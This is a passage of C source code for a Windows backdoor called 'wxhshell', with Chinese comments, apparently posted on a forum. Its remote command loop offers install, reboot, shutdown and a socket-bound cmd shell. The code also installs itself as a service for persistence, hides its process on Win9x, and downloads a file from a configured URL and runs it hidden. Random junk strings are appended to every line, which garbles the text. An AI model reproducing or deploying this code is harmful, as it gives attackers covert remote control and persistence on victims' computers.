  } @R5^J{T  
  else { =de'Yy:\-  
8ao-]QoMZ  
    switch(cmd[0]) { Jc#D4e1#  
  i.t%a{gL  
  // 帮助 G!6b )4L-  
  case '?': { 5sT3|yq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); to?!qxn  
    break; NBPP?\1  
  } !i"zM}  
  // 安装 $9`#p/V  
  case 'i': { uHKEt[PS$  
    if(Install()) ..JRtuM-v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U823q-x  
    else M8~3 0L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #s{^fUN6  
    break; '{ _ X1  
    } \\R}3 >Wc  
  // 卸载 AXlVH%'  
  case 'r': { S~3|1Hw*tN  
    if(Uninstall()) Rge>20uTl$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wOf8\s1  
    else UH MJ(.Wa-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +VkL?J  
    break; 8._uwA<[  
    } (I~   
  // 显示 wxhshell 所在路径 n[Q(q[ULV  
  case 'p': { r-y;"h'  
    char svExeFile[MAX_PATH]; _Ay^v#a  
    strcpy(svExeFile,"\n\r"); qSNCBn '  
      strcat(svExeFile,ExeFile); rQ.zqr  
        send(wsh,svExeFile,strlen(svExeFile),0); o-=|}u]mz  
    break; f8;?WSGyD2  
    } }<^mUG  
  // 重启 OInl?_,,T#  
  case 'b': { "SMJ:g",  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t$$YiO  
    if(Boot(REBOOT)) bny5e:= d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gxl7j Y  
    else { ^4fvV\ne_~  
    closesocket(wsh); +mWf$+w  
    ExitThread(0); c-k3<|H`  
    } P*6m~`"5  
    break; !.'D"Me>  
    } xqX3uq  
  // 关机 1'o[9-  
  case 'd': { r &.~ {  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JN/=x2n.  
    if(Boot(SHUTDOWN)) UfX~GC;B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zcP=+Y)YA  
    else { c]u ieig0~  
    closesocket(wsh); tpGT~Y(  
    ExitThread(0); }[akj8U  
    } #KiJ{w'  
    break; W_}j~[&  
    } I(*3n"  
  // 获取shell I,hw0e  
  case 's': { E4% -*n  
    CmdShell(wsh); 5f7id7SI  
    closesocket(wsh); ^t})T*hM0  
    ExitThread(0); Oo :Dt~Ib  
    break; M[`[+5v  
  } A&M_ J  
  // 退出 _3aE]\O[  
  case 'x': { Ca0s m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s6~;)(r  
    CloseIt(wsh); }? _KZ)  
    break; SZW_V6\t>  
    } VNTbjn]  
  // 离开 Odo)h  
  case 'q': {  @*eY~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P gA<pfEHE  
    closesocket(wsh); 7*PBJt\  
    WSACleanup(); tBGLEeL/.  
    exit(1); `TPIc  
    break; U\P4ts  
        } $rXCNew(  
  } ,,u hEoH  
  } ;8^k=8  
H1c8]}  
  // 提示信息 R$awo/'^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i3 eF_  
} n}UJ - \$  
  } q=W.82.U  
>+J}mo=*  
  return; wnC} TWxX  
} mS'Ad<  
^UKAD'_#%O  
// shell模块句柄 684& H8  
int CmdShell(SOCKET sock) >pp/4Ia!  
{ ycBgr,Ynu<  
STARTUPINFO si; 3JGrJ!x  
ZeroMemory(&si,sizeof(si)); 2OJlE) .  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v ;\cM/&5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  BI?, 3  
PROCESS_INFORMATION ProcessInfo; G[ U5R?/  
char cmdline[]="cmd"; $l*?Ce:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )8C`EPe  
  return 0; HTYyX(ya  
} X|a{Z*y;r*  
q~}oU5  
// 自身启动模式 Tv"T+!Z  
int StartFromService(void) UDI\o1Rbp  
{ .T3N"}7[  
typedef struct )vO"S  
{ 5@xR`g-  
  DWORD ExitStatus; oT\K P  
  DWORD PebBaseAddress; "d)Yq Q  
  DWORD AffinityMask; #ELe W3 S}  
  DWORD BasePriority; b\0>uU  
  ULONG UniqueProcessId; B2kZ_4rB  
  ULONG InheritedFromUniqueProcessId; fx|d"VF[  
}   PROCESS_BASIC_INFORMATION; LG:k}z/T  
mI7lv;oN<5  
PROCNTQSIP NtQueryInformationProcess; :"Xnu%1  
|p/ *OFC6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [ iTP:8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; inU5eronuj  
x\Q}fk?{t  
  HANDLE             hProcess; A8.noV  
  PROCESS_BASIC_INFORMATION pbi; 6m$X7;x}  
<KX9>e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LY0f`RX*&  
  if(NULL == hInst ) return 0; 9HJYrzf{%  
yo[Sh6r/9b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |^-D&C(Eu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7nT|yL?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jpduk&u  
b3%x&H<j  
  if (!NtQueryInformationProcess) return 0; MZ}0.KmaZ  
T */I4"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r{.pXf  
  if(!hProcess) return 0; -7&ywgxl  
)'m;a_r`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }@HgFM"  
ei4LE XQ16  
  CloseHandle(hProcess); U^KWRqt  
3*I\#Z4p1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^gcB+  
if(hProcess==NULL) return 0; bdWdvd:  
xF{%@t  
HMODULE hMod; _h<rVcl!wX  
char procName[255]; YA pC|R,^  
unsigned long cbNeeded; T^;b98*  
N*36rR$^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _]5UuIMl  
KD A8x W  
  CloseHandle(hProcess); M ]047W  
79;uHR&S  
if(strstr(procName,"services")) return 1; // 以服务启动 E "=4(   
 +#,J`fV%  
  return 0; // 注册表启动 Z5TA4Q+Q  
} Rf0so   
= vqJ0!  
// 主模块 b4L7]&  
int StartWxhshell(LPSTR lpCmdLine) !AXLoq$SY  
{ >0@w"aKn  
  SOCKET wsl; R|*0_!O:[  
BOOL val=TRUE; CtMqE+j^  
  int port=0; h F+aL  
  struct sockaddr_in door; {xg=Ym)  
We$ n  
  if(wscfg.ws_autoins) Install(); :PBFFLe  
,G0"T~  
port=atoi(lpCmdLine); wKi#5k2  
^S`hKv&87  
if(port<=0) port=wscfg.ws_port; 2n3&uvf'TL  
)!0}<_2  
  WSADATA data; I;rW!Hb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B0yJ9U= Fj  
C5^WJx[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q>(?Z#sB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lt-3OcC  
  door.sin_family = AF_INET; )&T 5 /+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FDgo6x   
  door.sin_port = htons(port); t#(=$  
m Z +dr[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EHq; eF  
closesocket(wsl); '1DY5`i{  
return 1; Ml c_w19C9  
} a0)w/A&  
O\f`+Q`0  
  if(listen(wsl,2) == INVALID_SOCKET) { k}:;`ST  
closesocket(wsl); :=*G7ZyW$  
return 1; }< '6FxR  
} 3ux7^au  
  Wxhshell(wsl); ^Lb\k|U ,\  
  WSACleanup(); 2'=)ese  
eV!(a8  
return 0; MH)V=xU|)  
Fy\q>(v.  
} n@tt.n!{l  
xGyl7$J  
// 以NT服务方式启动 *bo| F%NAz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +pgHCzwJE  
{  ^[SW07o~  
DWORD   status = 0; aPlEM_escS  
  DWORD   specificError = 0xfffffff; uxn+.fA  
mC@v,"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <xSh13<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *~GI-h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =c \(]xX  
  serviceStatus.dwWin32ExitCode     = 0; f|(9+~K/7&  
  serviceStatus.dwServiceSpecificExitCode = 0; Il4]1d|  
  serviceStatus.dwCheckPoint       = 0; MOh&1]2j5  
  serviceStatus.dwWaitHint       = 0; 9b >+ehjB  
g%= K rO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fsPsP`|  
  if (hServiceStatusHandle==0) return; _O}U4aGMTC  
w_>\Yd[  
status = GetLastError(); r'nPP6`  
  if (status!=NO_ERROR) 9O&m7]3  
{ z*.G0DFw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L/Kb\\f  
    serviceStatus.dwCheckPoint       = 0; , poc!n//  
    serviceStatus.dwWaitHint       = 0; <D:q4t  
    serviceStatus.dwWin32ExitCode     = status; !X: TieyVu  
    serviceStatus.dwServiceSpecificExitCode = specificError; ma-GvWD2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s@&3;{F6D  
    return; 9h+Hd&=  
  } 3| w$gG;Y  
Z[VrRT,\c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0xDn!  
  serviceStatus.dwCheckPoint       = 0; 3mofp`e  
  serviceStatus.dwWaitHint       = 0; nygGI_[l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HD#>K 7  
} O)V;na  
&8f/6dq  
// 处理NT服务事件,比如:启动、停止 h-"q <eY"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *=B<S/0  
{ e.L&A|  
switch(fdwControl) 4Ia'Yr  
{  .?CaU  
case SERVICE_CONTROL_STOP: IT=y+  
  serviceStatus.dwWin32ExitCode = 0; HaL'/V~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z1 )1s  
  serviceStatus.dwCheckPoint   = 0; BZhf/{h[@  
  serviceStatus.dwWaitHint     = 0; esZhX)dS  
  { 6bs-&Vf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lIEZ=CEmY  
  } Ga9iPv  
  return; `D=OEc  
case SERVICE_CONTROL_PAUSE: ^!exH(g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =9 QyO h  
  break; [mwqCW&  
case SERVICE_CONTROL_CONTINUE: CR.d3!&28  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3/usgw1  
  break; a0]GQyIG  
case SERVICE_CONTROL_INTERROGATE: ^W=hs9a+F  
  break; /L2ZI1v  
}; KM )MUPr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cXt&k  
} |1 qrU(  
!XjZt  
// 标准应用程序主函数 8IL5 :7H8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v -)<nox  
{ <(TAA15Xol  
Ep;?%o,G  
// 获取操作系统版本 0LC]%x+"  
OsIsNt=GetOsVer(); Zjn1,\(t~u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @I1*b>X~<  
b(mZ/2,B  
  // 从命令行安装 < ~CY?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4J`-&05O  
K)x6F 15r  
  // 下载执行文件 H@zZ[  
if(wscfg.ws_downexe) { % +  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ueU"v'h\  
  WinExec(wscfg.ws_filenam,SW_HIDE); + AjV0#n  
} g,*fpk  
+W1l9n*  
if(!OsIsNt) { dk1q9Tx  
// 如果时win9x,隐藏进程并且设置为注册表启动 d< XY"Y%  
HideProc(); .$d:c61X  
StartWxhshell(lpCmdLine); `0W"[BY  
} `lm'_~=`&  
else Y:+:>[F  
  if(StartFromService()) %r6_['T  
  // 以服务方式启动 D->E&#  
  StartServiceCtrlDispatcher(DispatchTable); G+sB/l"  
else ~7j-OWz9  
  // 普通方式启动 o6 NmDv5  
  StartWxhshell(lpCmdLine); @|<nDd{2  
%vf;qVoA~  
return 0; hiVDN"$$  
}
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只看该作者 1 发表于: 2006-10-10
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